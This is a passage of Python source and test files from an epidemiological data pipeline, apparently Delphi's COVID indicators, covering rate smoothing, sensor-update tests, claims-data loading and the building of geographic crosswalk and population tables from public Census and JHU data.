clipped_smoothed_rate = np.clip(smoothed_rate, 0, 1) jeffreys_rate = (clipped_smoothed_rate * total_visits + 0.5) / (total_visits + 1) # cut off at sensor indexes rate_data = pd.DataFrame({'rate': jeffreys_rate, 'den': total_visits}, index=y_data.index) rate_data = rate_data[first_sensor_date:] include = rate_data['den'] >= Config.MIN_DEN valid_rates = rate_data[include] se_valid = valid_rates.eval('sqrt(rate * (1 - rate) / den)') rate_data['se'] = se_valid logger.debug("{0}: {1:.3f},[{2:.3f}]".format( geo_id, rate_data['rate'][-1], rate_data['se'][-1] )) return {"geo_id": geo_id, "rate": 100 * rate_data['rate'], "se": 100 * rate_data['se'], "incl": include} ``` #### File: changehc/tests/test_update_sensor.py ```python import logging from copy import deepcopy import os from os.path import join, exists from tempfile import TemporaryDirectory # third party import pandas as pd import numpy as np from boto3 import Session from moto import mock_s3 import pytest # first party from delphi_changehc.config import Config from delphi_changehc.update_sensor import write_to_csv, CHCSensorUpdater CONFIG = Config() PARAMS = { "indicator": { "input_denom_file": "test_data/20200601_All_Outpatients_By_County.dat.gz", "input_covid_file": "test_data/20200601_Covid_Outpatients_By_County.dat.gz", "drop_date": "2020-06-01" } } COVID_FILEPATH = PARAMS["indicator"]["input_covid_file"] DENOM_FILEPATH = PARAMS["indicator"]["input_denom_file"] DROP_DATE = pd.to_datetime(PARAMS["indicator"]["drop_date"]) OUTPATH="test_data/" TEST_LOGGER = logging.getLogger() class TestCHCSensorUpdater: """Tests for updating the sensors.""" geo = "county" parallel = False weekday = False numtype = "covid" se = False prefix = "foo" small_test_data = pd.DataFrame({ "num": [0, 100, 200, 300, 400, 500, 600, 100, 200, 300, 400, 500, 600], "fips": ['01001'] * 7 + ['04007'] * 6, "den": [1000] * 7 + [2000] * 6, "timestamp": [pd.Timestamp(f'03-{i}-2020') for i in range(1, 14)]}).set_index(["fips","timestamp"]) def test_shift_dates(self): """Tests that dates in the data are shifted according to the burn-in and lag.""" su_inst = CHCSensorUpdater( "02-01-2020", "06-01-2020", "06-12-2020", self.geo, self.parallel, self.weekday, self.numtype, self.se, "", TEST_LOGGER ) ## Test init assert su_inst.startdate.month == 2 assert su_inst.enddate.month == 6 assert su_inst.dropdate.day == 12 ## Test shift su_inst.shift_dates() assert su_inst.sensor_dates[0] == su_inst.startdate assert su_inst.sensor_dates[-1] == su_inst.enddate - pd.Timedelta(days=1) def test_geo_reindex(self): """Tests that the geo reindexer changes the geographic resolution.""" for geo, multiple in [("nation", 1), ("county", 2), ("hhs", 2)]: su_inst = CHCSensorUpdater( "02-01-2020", "06-01-2020", "06-12-2020", geo, self.parallel, self.weekday, self.numtype, self.se, "", TEST_LOGGER ) su_inst.shift_dates() test_data = pd.DataFrame({ "num": [0, 100, 200, 300, 400, 500, 600, 100, 200, 300, 400, 500, 600], "fips": ['01001'] * 7 + ['04007'] * 6, "den": [1000] * 7 + [2000] * 6, "timestamp": [pd.Timestamp(f'03-{i}-2020') for i in range(1, 14)]}) data_frame = su_inst.geo_reindex(test_data) assert data_frame.shape[0] == multiple*len(su_inst.fit_dates) assert (data_frame.sum() == (4200,19000)).all() def test_update_sensor(self): """Tests that the sensors are properly updated.""" outputs = {} for geo in ["county", "state", "hhs", "nation"]: td = TemporaryDirectory() su_inst = CHCSensorUpdater( "03-01-2020", "03-22-2020", "03-27-2020", geo, self.parallel, self.weekday, self.numtype, self.se, "", TEST_LOGGER ) # As of 3/3/21 (40c258a), this set of data has county outputting data, state and hhs not # outputting data, and nation outputting data, which is undesirable. Ideal behaviour # should be all output or a subregion only outputting if its parent has output, # which is what is being tested here. small_test_data = pd.DataFrame({ "num": [0, 100, 200, 300, 400, 500, 600, 100, 200, 300, 400, 500, 600] * 2, "fips": ["01001"] * 13 + ["42003"] * 13, "den": [30, 50, 50, 10, 1, 5, 5, 50, 50, 50, 0, 0, 0] * 2, "timestamp": list(pd.date_range("20200301", "20200313")) * 2 }).set_index(["fips", "timestamp"]) su_inst.update_sensor(small_test_data, td.name) for f in os.listdir(td.name): outputs[f] = pd.read_csv(os.path.join(td.name, f)) assert len(os.listdir(td.name)) == len(su_inst.sensor_dates),\ f"failed {geo} update sensor test" td.cleanup() assert outputs["20200319_county_smoothed_outpatient_covid.csv"].empty assert outputs["20200319_state_smoothed_outpatient_covid.csv"].empty assert outputs["20200319_hhs_smoothed_outpatient_covid.csv"].empty assert outputs["20200319_nation_smoothed_outpatient_covid.csv"].empty def test_update_sensor_output_daterange(self): """Tests that output does not change when data range changes""" small_test_data = pd.DataFrame({ "num": [0, 100, 200, 300, 400, 500, 600, 100, 200, 300, 400, 500, 600] * 2, "fips": ["01001"] * 13 + ["42003"] * 13, "den": [30, 50, 50, 10, 1, 5, 5, 50, 50, 50, 0, 0, 0] * 2, "timestamp": list(pd.date_range("20200301", "20200313")) * 2 }).set_index(["fips", "timestamp"]) startdates = ["2020-03-01", "2020-03-05"] outputs = {s:{} for s in startdates} for startdate in startdates: for geo in ["county", "state", "hhs", "nation"]: td = TemporaryDirectory() su_inst = CHCSensorUpdater( startdate, "03-22-2020", "03-27-2020", geo, self.parallel, self.weekday, self.numtype, self.se, "", TEST_LOGGER ) su_inst.update_sensor(small_test_data.copy(), td.name) for f in os.listdir(td.name): outputs[startdate][f] = pd.read_csv(os.path.join(td.name, f)) assert len(os.listdir(td.name)) == len(su_inst.sensor_dates),\ f"failed {geo} update sensor test" td.cleanup() def pretty(key): return "\n".join(f"{s}[{key}]: {len(outputs[s][key])}" for s in startdates) for f in outputs[startdates[-1]]: assert len(outputs[startdates[0]][f]) == len(outputs[startdates[1]][f]), \ f"\n{pretty(f)}" assert np.array_equal( outputs[startdates[0]][f].val.values, outputs[startdates[1]][f].val.values ), f class TestWriteToCsv: """Tests for writing output files to CSV.""" def test_write_to_csv_results(self): """Tests that the computed data are written correctly.""" res0 = pd.DataFrame({ "val": [0.1, 0.5, 1.5] + [1, 2, 3], "se": [0.1, 1, 1.1] + [0.5, np.nan, 0.5], "sample_size": [np.nan] * 6, "timestamp": pd.to_datetime(["2020-05-02", "2020-05-03", "2020-05-05"] * 2), "include": [True, True, True] + [True, False, True], "geo_id": ["a"] * 3 + ["b"] * 3, }) td = TemporaryDirectory() write_to_csv( res0[res0['include']], geo_level="geography", write_se=False, day_shift=CONFIG.DAY_SHIFT, out_name="name_of_signal", output_path=td.name, logger=TEST_LOGGER ) # check outputs expected_name = "20200502_geography_name_of_signal.csv" assert exists(join(td.name, expected_name)) output_data = pd.read_csv(join(td.name, expected_name)) expected_columns = ["geo_id", "val", "se", "sample_size"] assert (output_data.columns == expected_columns).all() assert (output_data.geo_id == ["a", "b"]).all() assert np.array_equal(output_data.val.values, np.array([0.1, 1])) # for privacy we do not usually report SEs assert np.isnan(output_data.se.values).all() assert np.isnan(output_data.sample_size.values).all() expected_name = "20200503_geography_name_of_signal.csv" assert exists(join(td.name, expected_name)) output_data = pd.read_csv(join(td.name, expected_name)) assert (output_data.columns == expected_columns).all() assert (output_data.geo_id == ["a"]).all() assert np.array_equal(output_data.val.values, np.array([0.5])) assert np.isnan(output_data.se.values).all() assert np.isnan(output_data.sample_size.values).all() expected_name = "20200505_geography_name_of_signal.csv" assert exists(join(td.name, expected_name)) output_data = pd.read_csv(join(td.name, expected_name)) assert (output_data.columns == expected_columns).all() assert (output_data.geo_id == ["a", "b"]).all() assert np.array_equal(output_data.val.values, np.array([1.5, 3])) assert np.isnan(output_data.se.values).all() assert np.isnan(output_data.sample_size.values).all() td.cleanup() def test_write_to_csv_with_se_results(self): """Tests that the standard error is written when requested.""" res0 = pd.DataFrame({ "val": [0.1, 0.5, 1.5] + [1, 2, 3], "se": [0.1, 1, 1.1] + [0.5, np.nan, 0.5], "sample_size": [np.nan] * 6, "timestamp": pd.to_datetime(["2020-05-02", "2020-05-03", "2020-05-05"] * 2), "include": [True, True, True] + [True, False, True], "geo_id": ["a"] * 3 + ["b"] * 3, }) td = TemporaryDirectory() write_to_csv( res0[res0['include']], geo_level="geography", write_se=True, day_shift=CONFIG.DAY_SHIFT, out_name="name_of_signal", output_path=td.name, logger=TEST_LOGGER ) # check outputs expected_name = "20200502_geography_name_of_signal.csv" assert exists(join(td.name, expected_name)) output_data = pd.read_csv(join(td.name, expected_name)) expected_columns = ["geo_id", "val", "se", "sample_size"] assert (output_data.columns == expected_columns).all() assert (output_data.geo_id == ["a", "b"]).all() assert np.array_equal(output_data.val.values, np.array([0.1, 1])) assert np.array_equal(output_data.se.values, np.array([0.1, 0.5])) assert np.isnan(output_data.sample_size.values).all() td.cleanup() def test_write_to_csv_wrong_results(self): """Tests that nonsensical inputs trigger exceptions.""" res0 = pd.DataFrame({ "val": [0.1, 0.5, 1.5] + [1, 2, 3], "se": [0.1, 1, 1.1] + [0.5, 0.5, 0.5], "sample_size": [np.nan] * 6, "timestamp": pd.to_datetime(["2020-05-02", "2020-05-03", "2020-05-05"] * 2), "include": [True, True, True] + [True, False, True], "geo_id": ["a"] * 3 + ["b"] * 3, }).set_index(["timestamp", "geo_id"]).sort_index() td = TemporaryDirectory() # nan value for included loc-date res1 = res0.copy() res1 = res1[res1['include']] res1.loc[("2020-05-02", "a"), "val"] = np.nan res1.reset_index(inplace=True) with pytest.raises(AssertionError): write_to_csv( res1, geo_level="geography", write_se=False, day_shift=CONFIG.DAY_SHIFT, out_name="name_of_signal", output_path=td.name, logger=TEST_LOGGER ) # nan se for included loc-date res2 = res0.copy() res2 = res2[res2['include']] res2.loc[("2020-05-02", "a"), "se"] = np.nan res2.reset_index(inplace=True) with pytest.raises(AssertionError): write_to_csv( res2, geo_level="geography", write_se=True, day_shift=CONFIG.DAY_SHIFT, out_name="name_of_signal", output_path=td.name, logger=TEST_LOGGER ) # large se value res3 = res0.copy() res3 = res3[res3['include']] res3.loc[("2020-05-02", "a"), "se"] = 10 res3.reset_index(inplace=True) with pytest.raises(AssertionError): write_to_csv( res3, geo_level="geography", write_se=True, day_shift=CONFIG.DAY_SHIFT, out_name="name_of_signal", output_path=td.name, logger=TEST_LOGGER ) td.cleanup() ``` #### File: claims_hosp/delphi_claims_hosp/load_data.py ```python import pandas as pd # first party from .config import Config def load_claims_data(claims_filepath, dropdate, base_geo): """ Load in and set up claims data. Args: claims_filepath: path to the aggregated claims data dropdate: data drop date (datetime object) base_geo: base geographic unit before aggregation (either 'fips' or 'hrr') Returns: cleaned claims dataframe """ assert base_geo in ["fips", "hrr"], "base unit must be either 'fips' or 'hrr'" claims_data = pd.read_csv( claims_filepath, usecols=Config.CLAIMS_DTYPES.keys(), dtype=Config.CLAIMS_DTYPES, parse_dates=[Config.CLAIMS_DATE_COL], ) # standardize naming claims_data.rename(columns=Config.CLAIMS_RENAME_COLS, inplace=True) # restrict to start and end date claims_data = claims_data[ (claims_data[Config.DATE_COL] >= Config.FIRST_DATA_DATE) & (claims_data[Config.DATE_COL] < dropdate) ] assert ( (claims_data[Config.CLAIMS_COUNT_COLS] >= 0).all().all() ), "Claims counts must be nonnegative" # aggregate age groups (so data is unique by date and base geography) claims_data = claims_data.groupby([base_geo, Config.DATE_COL]).sum() claims_data.dropna(inplace=True) # drop rows with any missing entries return claims_data def load_data(input_filepath, dropdate, base_geo): """ Load in claims data, and combine them. Args: input_filepath: path to the aggregated data dropdate: data drop date (datetime object) base_geo: base geographic unit before aggregation (either 'fips' or 'hrr') Returns: combined multiindexed dataframe, index 0 is geo_base, index 1 is date """ assert base_geo in ["fips", "hrr"], "base unit must be either 'fips' or 'hrr'" # load data stream data = load_claims_data(input_filepath, dropdate, base_geo) # rename numerator and denominator data.fillna(0, inplace=True) data["num"] = data["Covid_like"] data["den"] = data["Denominator"] data = data[['num', 'den']] data.reset_index(inplace=True) return data ``` #### File: data_proc/geomap/geo_data_proc.py ```python from io import BytesIO from os import remove, listdir from os.path import join, isfile from zipfile import ZipFile from pandas.core.frame import DataFrame import requests import pandas as pd import numpy as np # Source files YEAR = 2019 INPUT_DIR = "./old_source_files" OUTPUT_DIR = f"../../delphi_utils/data/{YEAR}" FIPS_BY_ZIP_POP_URL = "https://www2.census.gov/geo/docs/maps-data/data/rel/zcta_county_rel_10.txt?#" ZIP_HSA_HRR_URL = "https://atlasdata.dartmouth.edu/downloads/geography/ZipHsaHrr18.csv.zip" ZIP_HSA_HRR_FILENAME = "ZipHsaHrr18.csv" FIPS_MSA_URL = "https://www2.census.gov/programs-surveys/metro-micro/geographies/reference-files/2018/delineation-files/list1_Sep_2018.xls" JHU_FIPS_URL = "https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/UID_ISO_FIPS_LookUp_Table.csv" STATE_CODES_URL = "http://www2.census.gov/geo/docs/reference/state.txt?#" FIPS_POPULATION_URL = f"https://www2.census.gov/programs-surveys/popest/datasets/2010-{YEAR}/counties/totals/co-est{YEAR}-alldata.csv" FIPS_PUERTO_RICO_POPULATION_URL = "https://www2.census.gov/geo/docs/maps-data/data/rel/zcta_county_rel_10.txt?" STATE_HHS_FILE = "hhs.txt" # Out files FIPS_STATE_OUT_FILENAME = "fips_state_table.csv" FIPS_MSA_OUT_FILENAME = "fips_msa_table.csv" FIPS_HRR_OUT_FILENAME = "fips_hrr_table.csv" FIPS_ZIP_OUT_FILENAME = "fips_zip_table.csv" FIPS_HHS_FILENAME = "fips_hhs_table.csv" FIPS_POPULATION_OUT_FILENAME = "fips_pop.csv" ZIP_HSA_OUT_FILENAME = "zip_hsa_table.csv" ZIP_HRR_OUT_FILENAME = "zip_hrr_table.csv" ZIP_FIPS_OUT_FILENAME = "zip_fips_table.csv" ZIP_MSA_OUT_FILENAME = "zip_msa_table.csv" ZIP_POPULATION_OUT_FILENAME = "zip_pop.csv" ZIP_STATE_CODE_OUT_FILENAME = "zip_state_code_table.csv" ZIP_HHS_FILENAME = "zip_hhs_table.csv" STATE_OUT_FILENAME = "state_codes_table.csv" STATE_HHS_OUT_FILENAME = "state_code_hhs_table.csv" STATE_POPULATION_OUT_FILENAME = "state_pop.csv" HHS_POPULATION_OUT_FILENAME = "hhs_pop.csv" NATION_POPULATION_OUT_FILENAME = "nation_pop.csv" JHU_FIPS_OUT_FILENAME = "jhu_uid_fips_table.csv" def create_fips_zip_crosswalk(): """Build (weighted) crosswalk tables for FIPS to ZIP and ZIP to FIPS.""" pop_df = pd.read_csv(FIPS_BY_ZIP_POP_URL).rename(columns={"POPPT": "pop"}) # Create the FIPS column by combining the state and county codes pop_df["fips"] = pop_df["STATE"].astype(str).str.zfill(2) + pop_df["COUNTY"].astype(str).str.zfill(3) # Create the ZIP column by adding leading zeros to the ZIP pop_df["zip"] = pop_df["ZCTA5"].astype(str).str.zfill(5) pop_df = pop_df[["zip", "fips", "pop"]] # Find the population fractions (the heaviest computation, takes about a minute) # Note that the denominator in the fractions is the source population pop_df.set_index(["fips", "zip"], inplace=True) fips_zip: DataFrame = pop_df.groupby("fips", as_index=False).apply(lambda g: g["pop"] / g["pop"].sum()) zip_fips: DataFrame = pop_df.groupby("zip", as_index=False).apply(lambda g: g["pop"] / g["pop"].sum()) # Rename and write to file fips_zip = fips_zip.reset_index(level=["fips", "zip"]).rename(columns={"pop": "weight"}).query("weight > 0.0") fips_zip.sort_values(["fips", "zip"]).to_csv(join(OUTPUT_DIR, FIPS_ZIP_OUT_FILENAME), index=False) zip_fips = zip_fips.reset_index(level=["fips", "zip"]).rename(columns={"pop": "weight"}).query("weight > 0.0") zip_fips.sort_values(["zip", "fips"]).to_csv(join(OUTPUT_DIR, ZIP_FIPS_OUT_FILENAME), index=False) def create_zip_hsa_hrr_crosswalk(): """Build a crosswalk table for ZIP to HSA and for ZIP to HRR.""" with ZipFile(BytesIO(requests.get(ZIP_HSA_HRR_URL).content)) as zipped_csv: zip_df = pd.read_csv(zipped_csv.open(ZIP_HSA_HRR_FILENAME)) hsa_df = zip_df[["zipcode18", "hsanum"]].rename(columns={"zipcode18": "zip", "hsanum": "hsa"}) hsa_df["zip"] = hsa_df["zip"].astype(str).str.zfill(5) hsa_df["hsa"] = hsa_df["hsa"].astype(str) hsa_df.sort_values(["zip", "hsa"]).to_csv(join(OUTPUT_DIR, ZIP_HSA_OUT_FILENAME), index=False) hrr_df = zip_df[["zipcode18", "hrrnum"]].rename(columns={"zipcode18": "zip", "hrrnum": "hrr"}) hrr_df["zip"] = hrr_df["zip"].astype(str).str.zfill(5) hrr_df["hrr"] = hrr_df["hrr"].astype(str) hrr_df.sort_values(["zip", "hrr"]).to_csv(join(OUTPUT_DIR, ZIP_HRR_OUT_FILENAME), index=False) def create_fips_msa_crosswalk(): """Build a crosswalk table for FIPS to MSA.""" # Requires xlrd. msa_df = pd.read_excel(FIPS_MSA_URL, skiprows=2, skipfooter=4, dtype={"CBSA Code": int, "Metropolitan/Micropolitan Statistical Area": str, "FIPS State Code": str, "FIPS County Code": str}).rename(columns={"CBSA Code": "msa"}) msa_df = msa_df[msa_df["Metropolitan/Micropolitan Statistical Area"] == "Metropolitan Statistical Area"] # Combine state and county codes into a single FIPS code msa_df["fips"] = msa_df["FIPS State Code"].str.cat(msa_df["FIPS County Code"]) msa_df.sort_values(["fips", "msa"]).to_csv(join(OUTPUT_DIR, FIPS_MSA_OUT_FILENAME), columns=["fips", "msa"], index=False) def create_jhu_uid_fips_crosswalk(): """Build a crosswalk table from JHU UID to FIPS.""" # These are hand modifications that need to be made to the translation # between JHU UID and FIPS. See below for the special cases information # https://cmu-delphi.github.io/delphi-epidata/api/covidcast-signals/jhu-csse.html#geographical-exceptions hand_additions = pd.DataFrame( [ { "jhu_uid": "84070002", "fips": "25007", # Split aggregation of Dukes and Nantucket, Massachusetts "weight": 16535 / (16535 + 10172), # Population: 16535 }, { "jhu_uid": "84070002", "fips": "25019", "weight": 10172 / (16535 + 10172), # Population: 10172 }, { "jhu_uid": "84070003", "fips": "29095", # Kansas City, Missouri "weight": 674158 / 1084897, # Population: 674158 }, { "jhu_uid": "84070003", "fips": "29165", "weight": 89322 / 1084897, # Population: 89322 }, { "jhu_uid": "84070003", "fips": "29037", "weight": 99478 / 1084897, # Population: 99478 }, { "jhu_uid": "84070003", "fips": "29047", "weight": 221939 / 1084897, # Population: 221939 }, # Kusilvak, Alaska {"jhu_uid": "84002158", "fips": "02270", "weight": 1.0}, # Oglala Lakota {"jhu_uid": "84046102", "fips": "46113", "weight": 1.0}, # Aggregate Utah territories into a "State FIPS" {"jhu_uid": "84070015", "fips": "49000", "weight": 1.0}, {"jhu_uid": "84070016", "fips": "49000", "weight": 1.0}, {"jhu_uid": "84070017", "fips": "49000", "weight": 1.0}, {"jhu_uid": "84070018", "fips": "49000", "weight": 1.0}, {"jhu_uid": "84070019", "fips": "49000", "weight": 1.0}, {"jhu_uid": "84070020", "fips": "49000", "weight": 1.0}, ] ) # Map the Unassigned category to a custom megaFIPS XX000 unassigned_states = pd.DataFrame( {"jhu_uid": str(x), "fips": str(x)[-2:].ljust(5, "0"), "weight": 1.0} for x in range(84090001, 84090057) ) # Map the Out of State category to a custom megaFIPS XX000 out_of_state = pd.DataFrame( {"jhu_uid": str(x), "fips": str(x)[-2:].ljust(5, "0"), "weight": 1.0} for x in range(84080001, 84080057) ) # Map the Unassigned and Out of State categories to the cusom megaFIPS 72000 puerto_rico_unassigned = pd.DataFrame( [ {"jhu_uid": "63072888", "fips": "72000", "weight": 1.0}, {"jhu_uid": "63072999", "fips": "72000", "weight": 1.0}, ] ) cruise_ships = pd.DataFrame( [ {"jhu_uid": "84088888", "fips": "88888", "weight": 1.0}, {"jhu_uid": "84099999", "fips": "99999", "weight": 1.0}, ] ) jhu_df = pd.read_csv(JHU_FIPS_URL, dtype={"UID": str, "FIPS": str}).query("Country_Region == 'US'") jhu_df = jhu_df.rename(columns={"UID": "jhu_uid", "FIPS": "fips"}).dropna(subset=["fips"]) # FIPS Codes that are just two digits long should be zero filled on the right. # These are US state codes (XX) and the territories Guam (66), Northern Mariana Islands (69), # Virgin Islands (78), and Puerto Rico (72). fips_territories = jhu_df["fips"].str.len() <= 2 jhu_df.loc[fips_territories, "fips"] = jhu_df.loc[fips_territories, "fips"].str.ljust(5, "0") # Drop the JHU UIDs that were hand-modified manual_correction_ids = pd.concat([hand_additions, unassigned_states, out_of_state, puerto_rico_unassigned, cruise_ships])["jhu_uid"] jhu_df.drop(jhu_df.index[jhu_df["jhu_uid"].isin(manual_correction_ids)], inplace=True) # Add weights of 1.0 to everything not in hand additions, then merge in hand-additions # Finally, zero fill FIPS jhu_df["weight"] = 1.0 jhu_df = pd.concat([jhu_df, hand_additions, unassigned_states, out_of_state, puerto_rico_unassigned]) jhu_df["fips"] = jhu_df["fips"].astype(int).astype(str).str.zfill(5) jhu_df.sort_values(["jhu_uid", "fips"]).to_csv(join(OUTPUT_DIR, JHU_FIPS_OUT_FILENAME), columns=["jhu_uid", "fips", "weight"], index=False) def create_state_codes_crosswalk(): """Build a State ID -> State Name -> State code crosswalk file.""" df = pd.read_csv(STATE_CODES_URL, delimiter="|").drop(columns="STATENS").rename(columns={"STATE": "state_code", "STUSAB": "state_id", "STATE_NAME": "state_name"}) df["state_code"] = df["state_code"].astype(str).str.zfill(2) df["state_id"] = df["state_id"].astype(str).str.lower() # Add a few extra US state territories manually territories = pd.DataFrame( [ { "state_code": "70", "state_name": "Republic of Palau", "state_id": "pw", }, { "state_code": "68", "state_name": "Marshall Islands", "state_id": "mh", }, { "state_code": "64", "state_name": "Federated States of Micronesia", "state_id": "fm", }, ] ) df = pd.concat((df, territories)) df.sort_values("state_code").to_csv(join(OUTPUT_DIR, STATE_OUT_FILENAME), index=False) def create_state_hhs_crosswalk(): """Build a state to HHS crosswalk.""" if not isfile(join(OUTPUT_DIR, STATE_OUT_FILENAME)): create_state_codes_crosswalk() ss_df = pd.read_csv(join(OUTPUT_DIR, STATE_OUT_FILENAME), dtype={"state_code": str, "state_name": str, "state_id": str}) with open(STATE_HHS_FILE) as temp_file: temp = temp_file.readlines() # Process text from https://www.hhs.gov/about/agencies/iea/regional-offices/index.html temp = [int(s[7:9]) if "Region" in s else s for s in temp] temp = [s.strip().split(", ") if isinstance(s, str) else s for s in temp] temp = {temp[i]: temp[i + 1] for i in range(0, len(temp), 2)} temp = {key: [x.lstrip(" and") for x in temp[key]] for key in temp} temp = [[(key, x) for x in temp[key]] for key in temp] hhs_state_pairs = [x for y in temp for x in y] # Make naming adjustments hhs_state_pairs.remove((2, "the Virgin Islands")) hhs_state_pairs.append((2, "U.S. Virgin Islands")) hhs_state_pairs.remove((9, "Commonwealth of the Northern Mariana Islands")) hhs_state_pairs.append((9, "Northern Mariana Islands")) # Make dataframe hhs_df = pd.DataFrame(hhs_state_pairs, columns=["hhs", "state_name"], dtype=str) ss_df = ss_df.merge(hhs_df, on="state_name", how="left").dropna() ss_df.sort_values("state_code").to_csv(join(OUTPUT_DIR, STATE_HHS_OUT_FILENAME), columns=["state_code", "hhs"], index=False) def create_fips_population_table(): """Build a table of populations by FIPS county codes. Uses US Census Bureau population data as determined by the YEAR variable, with 2010 population data for Puerto Rico and a few exceptions. """ census_pop = pd.read_csv(FIPS_POPULATION_URL, encoding="ISO-8859-1") census_pop["fips"] = census_pop.apply(lambda x: f"{x['STATE']:02d}{x['COUNTY']:03d}", axis=1) census_pop = census_pop.rename(columns={f"POPESTIMATE{YEAR}": "pop"})[["fips", "pop"]] # Set population for Dukes and Nantucket combo county dukes_pop = int(census_pop.loc[census_pop["fips"] == "25007", "pop"]) nantu_pop = int(census_pop.loc[census_pop["fips"] == "25019", "pop"]) hand_modified_pop = pd.DataFrame( [ # Dukes and Nantucket combo county {"fips": "70002", "pop": dukes_pop + nantu_pop}, # Kansas City {"fips": "70003", "pop": 491918}, ] ) census_pop = pd.concat([census_pop, hand_modified_pop]) census_pop = census_pop.reset_index(drop=True) # Get the file with Puerto Rico populations df_pr = pd.read_csv(FIPS_PUERTO_RICO_POPULATION_URL).rename(columns={"POPPT": "pop"}) df_pr["fips"] = df_pr["STATE"].astype(str).str.zfill(2) + df_pr["COUNTY"].astype(str).str.zfill(3) df_pr = df_pr[["fips", "pop"]] # Create the Puerto Rico megaFIPS df_pr = df_pr[df_pr["fips"].isin([str(x) for x in range(72000, 72999)])] df_pr = pd.concat([df_pr, pd.DataFrame([{"fips": "72000", "pop": df_pr["pop"].sum()}])]) # Fill the missing Puerto Rico data with 2010 information df_pr = df_pr.groupby("fips").sum().reset_index() df_pr = df_pr[~df_pr["fips"].isin(census_pop["fips"])] census_pop_pr = pd.concat([census_pop, df_pr]) # Filled from https://www.census.gov/data/tables/2010/dec/2010-island-areas.html territories_pop = pd.DataFrame( { "fips": ["60010", "60020", "60030", "60040", "60050", "66010", "78010", "78020", "78030", "69085", "69100", "69110", "69120"], "pop": [23030, 1143, 0, 17, 31329, 159358, 50601, 4170, 51634, 0, 2527, 48220, 3136], } ) census_pop_territories = pd.concat([census_pop_pr, territories_pop]) non_megafips_mask = ~census_pop_territories.fips.str.endswith("000") census_pop_territories = census_pop_territories.loc[non_megafips_mask] census_pop_territories.sort_values("fips").to_csv(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME), index=False) def create_state_population_table(): """Build a state population table.""" if not isfile(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME)): create_fips_population_table() if not isfile(join(OUTPUT_DIR, FIPS_STATE_OUT_FILENAME)): derive_fips_state_crosswalk() census_pop = pd.read_csv(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME), dtype={"fips": str, "pop": int}) state: DataFrame = pd.read_csv(join(OUTPUT_DIR, FIPS_STATE_OUT_FILENAME), dtype=str) state_pop = state.merge(census_pop, on="fips").groupby(["state_code", "state_id", "state_name"], as_index=False).sum() state_pop.sort_values("state_code").to_csv(join(OUTPUT_DIR, STATE_POPULATION_OUT_FILENAME), index=False) def create_hhs_population_table(): """Build an HHS population table.""" if not isfile(join(OUTPUT_DIR, STATE_POPULATION_OUT_FILENAME)): create_state_population_table() if not isfile(join(OUTPUT_DIR, STATE_HHS_OUT_FILENAME)): create_state_hhs_crosswalk() state_pop = pd.read_csv(join(OUTPUT_DIR, STATE_POPULATION_OUT_FILENAME), dtype={"state_code": str, "hhs": int}, usecols=["state_code", "pop"]) state_hhs = pd.read_csv(join(OUTPUT_DIR, STATE_HHS_OUT_FILENAME), dtype=str) hhs_pop = state_pop.merge(state_hhs, on="state_code").groupby("hhs", as_index=False).sum() hhs_pop.sort_values("hhs").to_csv(join(OUTPUT_DIR, HHS_POPULATION_OUT_FILENAME), index=False) def create_nation_population_table(): """Build a nation population table.""" if not isfile(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME)): create_fips_population_table() census_pop = pd.read_csv(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME), dtype={"fips": str, "pop": int}) nation_pop = pd.DataFrame({"nation": ["us"], "pop": [census_pop["pop"].sum()]}) nation_pop.to_csv(join(OUTPUT_DIR, NATION_POPULATION_OUT_FILENAME), index=False) def derive_zip_population_table(): """Build a table of populations by ZIP code by translating from FIPS populations.""" if not isfile(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME)): create_fips_population_table() if not isfile(join(OUTPUT_DIR, FIPS_ZIP_OUT_FILENAME)): create_fips_zip_crosswalk() census_pop = pd.read_csv(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME), dtype={"fips": str, "pop": int}) fz_df = pd.read_csv(join(OUTPUT_DIR, FIPS_ZIP_OUT_FILENAME), dtype={"fips": str, "zip": str, "weight": float}) df = census_pop.merge(fz_df, on="fips", how="left") df["pop"] = df["pop"].multiply(df["weight"], axis=0) df = df.drop(columns=["fips", "weight"]).groupby("zip").sum().dropna().reset_index() df["pop"] = df["pop"].astype(int) df.sort_values("zip").to_csv(join(OUTPUT_DIR, ZIP_POPULATION_OUT_FILENAME), index=False) def derive_fips_hrr_crosswalk(): """Derive a crosswalk file from FIPS to HRR through FIPS -> ZIP -> HRR.""" if not isfile(join(OUTPUT_DIR, FIPS_ZIP_OUT_FILENAME)): create_fips_zip_crosswalk() if not isfile(join(OUTPUT_DIR, ZIP_HRR_OUT_FILENAME)): create_zip_hsa_hrr_crosswalk() fz_df = pd.read_csv(join(OUTPUT_DIR, FIPS_ZIP_OUT_FILENAME), dtype={"fips": str, "zip": str, "weight": float}) zh_df = pd.read_csv(join(OUTPUT_DIR, ZIP_HRR_OUT_FILENAME), dtype={"zip": str, "hrr": str}) fz_df = fz_df.merge(zh_df, on="zip", how="left").drop(columns="zip").groupby(["fips", "hrr"]).sum().reset_index() fz_df.sort_values(["fips", "hrr"]).to_csv(join(OUTPUT_DIR, FIPS_HRR_OUT_FILENAME), index=False) def derive_fips_state_crosswalk(): """Derive a crosswalk between FIPS county codes and state information (number, abbreviation, name).""" fips_pop = pd.read_csv(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME), dtype={"fips": str, "pop": int}) megafips = pd.DataFrame({"fips": [fips + "000" for fips in fips_pop.fips.str[:2].unique()], "pop": np.nan}) fips_pop = pd.concat([fips_pop, megafips]) state_codes = pd.read_csv(join(OUTPUT_DIR, STATE_OUT_FILENAME), dtype={"state_code": str, "state_id": str, "state_name": str}) fips_pop["state_code"] = fips_pop["fips"].str[:2] fips_pop = fips_pop.merge(state_codes, on="state_code", how="left").drop(columns="pop") fips_pop.sort_values(["fips", "state_code"]).to_csv(join(OUTPUT_DIR, FIPS_STATE_OUT_FILENAME), index=False) def derive_zip_msa_crosswalk(): """Derive a crosswalk file from ZIP to MSA through ZIP -> FIPS -> HRR.""" if not isfile(join(OUTPUT_DIR, ZIP_FIPS_OUT_FILENAME)): create_fips_zip_crosswalk() if not isfile(join(OUTPUT_DIR, FIPS_MSA_OUT_FILENAME)): 